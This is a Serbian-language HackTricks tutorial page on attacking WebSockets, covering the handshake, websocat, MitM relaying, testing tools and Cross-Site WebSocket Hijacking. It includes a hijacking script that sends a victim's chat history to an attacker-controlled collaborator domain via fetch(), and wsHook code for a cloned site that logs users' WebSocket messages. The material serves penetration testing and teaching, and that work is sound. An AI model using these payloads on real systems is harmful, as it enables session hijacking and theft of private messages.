12 KiB
Napadi na WebSocket
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu u HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta su WebSockets
WebSocket konekcije se uspostavljaju putem početnog HTTP handshake-a i dizajnirane su da budu dugotrajne, omogućavajući dvosmernu komunikaciju u bilo koje vreme bez potrebe za transakcionim sistemom. Ovo čini WebSockets posebno pogodnim za aplikacije koje zahtevaju nisku latenciju ili komunikaciju iniciranu od strane servera, kao što su struje finansijskih podataka uživo.
Uspostavljanje WebSocket konekcija
Detaljno objašnjenje o uspostavljanju WebSocket konekcija može se pronaći ovde. Ukratko, WebSocket konekcije se obično iniciraju putem JavaScript-a na strani klijenta, kao što je prikazano ispod:
var ws = new WebSocket("wss://normal-website.com/ws");
wss
protokol označava WebSocket konekciju koja je obezbeđena sa TLS, dok ws
označava neobezbeđenu konekciju.
Tokom uspostavljanja konekcije, izvršava se handshake između pregledača i servera preko HTTP-a. Proces handshake-a uključuje slanje zahteva od strane pregledača i odgovor servera, kako je prikazano u sledećim primerima:
Pregledač šalje zahtev za handshake:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Odgovor servera na handshake:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Veza ostaje otvorena za razmenu poruka u oba smera nakon uspostavljanja.
Ključne tačke WebSocket Handshake-a:
- Zaglavlja
Connection
iUpgrade
signaliziraju inicijaciju WebSocket handshake-a. - Zaglavlje
Sec-WebSocket-Version
ukazuje na željenu verziju WebSocket protokola, obično13
. - Base64 enkodirana nasumična vrednost se šalje u zaglavlju
Sec-WebSocket-Key
, obezbeđujući da svaki handshake bude jedinstven, što pomaže u sprečavanju problema sa keširajućim proksijima. Ova vrednost nije za autentifikaciju, već da potvrdi da odgovor nije generisan od strane pogrešno konfigurisanog servera ili keša. - Zaglavlje
Sec-WebSocket-Accept
u odgovoru servera je heš vrednostSec-WebSocket-Key
, potvrđujući serverovu nameru da otvori WebSocket vezu.
Ove funkcionalnosti obezbeđuju da je proces handshake-a siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu.
Linux konzola
Možete koristiti websocat
da uspostavite sirovu vezu sa WebSocket-om.
websocat --insecure wss://10.10.10.10:8000 -v
Ili da kreirate websocat server:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM napadi na WebSocket veze
Ako primetite da su klijenti povezani na HTTP WebSocket iz vaše trenutne lokalne mreže, možete pokušati ARP Spoofing napad kako biste izveli MitM napad između klijenta i servera.
Kada klijent pokuša da se poveže, možete koristiti:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Enumeracija Websocket-a
Možete koristiti alat https://github.com/PalindromeLabs/STEWS da automatski otkrijete, identifikujete i pretražujete poznate ranjivosti u websocket-ima.
Alati za debagovanje Websocket-a
- Burp Suite podržava MitM komunikaciju websocket-a na veoma sličan način kao što to radi za redovnu HTTP komunikaciju.
- socketsleuth Burp Suite ekstenzija će vam omogućiti bolje upravljanje Websocket komunikacijom u Burp-u tako što ćete dobiti istoriju, postaviti pravila presretanja, koristiti pravila za poklapanje i zamenu, koristiti Intruder i AutoRepeater.
- WSSiP: Skraćenica za "WebSocket/Socket.io Proxy", ovaj alat, napisan u Node.js, pruža korisnički interfejs za snimanje, presretanje, slanje prilagođenih poruka i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
- wsrepl je interaktivni websocket REPL dizajniran posebno za testiranje prodiranja. Pruža interfejs za posmatranje dolaznih websocket poruka i slanje novih, sa jednostavnim okvirom za automatizaciju ove komunikacije.
- https://websocketking.com/ je veb za komunikaciju sa drugim veb sajtovima koristeći websocket-e.
- https://hoppscotch.io/realtime/websocket pored ostalih vrsta komunikacija/protokola, pruža veb za komunikaciju sa drugim veb sajtovima koristeći websocket-e.
Websocket Lab
U Burp-Suite-Extender-Montoya-Course imate kod za pokretanje veba koristeći websocket-e, a u ovom postu možete pronaći objašnjenje.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, takođe poznat kao cross-origin WebSocket hijacking, identifikovan je kao specifičan slučaj Cross-Site Request Forgery (CSRF) koji utiče na WebSocket handshake. Ova ranjivost se javlja kada WebSocket handshake autentifikuje samo putem HTTP kolačića bez CSRF tokena ili sličnih sigurnosnih mera.
Napadači mogu iskoristiti ovo tako što će hostovati zlonamernu veb stranicu koja inicira cross-site WebSocket konekciju sa ranjivom aplikacijom. Kao rezultat toga, ova konekcija se tretira kao deo sesije žrtve sa aplikacijom, iskorišćavajući nedostatak CSRF zaštite u mehanizmu upravljanja sesijom.
Jednostavan napad
Imajte na umu da prilikom uspostavljanja websocket konekcije, kolačić se šalje serveru. Server ga može koristiti da poveže svakog specifičnog korisnika sa njegovom websocket sesijom na osnovu poslatog kolačića.
Zatim, ako na primer websocket server vrati istoriju razgovora korisnika ako se pošalje poruka sa "READY", onda jednostavan XSS koji uspostavlja konekciju (kolačić će biti automatski poslat da autorizuje žrtvu) slanjem "READY" će biti u mogućnosti da dobije istoriju razgovora.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Kolačić sa drugim poddomenom
U ovom blog postu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ napadač je uspeo da izvrši proizvoljni JavaScript u poddomenu domena gde se odvijala komunikacija putem web socket-a. Zbog toga što je bio poddomen, kolačić je bio poslat, a zbog toga što Websocket nije pravilno proveravao poreklo, bilo je moguće komunicirati sa njim i ukrasti tokene iz njega.
Krađa podataka od korisnika
Kopirajte veb aplikaciju koju želite da se predstavljate (npr. .html fajlove) i unutar skripte gde se odvija komunikacija putem web socket-a dodajte ovaj kod:
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
Sada preuzmite datoteku wsHook.js
sa https://github.com/skepticfx/wshook i sačuvajte je unutar fascikle sa web fajlovima.
Izlažući web aplikaciju i povezujući korisnika na nju, moći ćete da ukradete poslate i primljene poruke putem web soketa:
sudo python3 -m http.server 80
Trke uslova
Trke uslova u WebSockets-u su takođe stvar, proverite ovde informacije da biste saznali više.
Ostale ranjivosti
Pošto su WebSockets mehanizam za slanje podataka na serversku i klijentsku stranu, u zavisnosti od toga kako server i klijent obrađuju informacije, WebSockets mogu se koristiti za iskorišćavanje drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost korišćenjem unosa korisnika putem WebSockets-a.
WebSocket Smuggling
Ova ranjivost bi vam mogla omogućiti da zaobiđete ograničenja obrnutih proxy-ja tako što ćete ih naterati da veruju da je uspostavljena WebSocket komunikacija (čak i ako to nije tačno). To bi omogućilo napadaču da pristupi skrivenim krajnjim tačkama. Za više informacija pogledajte sledeću stranicu:
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
Reference
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite oglašavanje vaše kompanije na HackTricks-u ili preuzmete HackTricks u PDF formatu, proverite PLANOVE ZA PRETPLATU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje trikove hakovanja slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.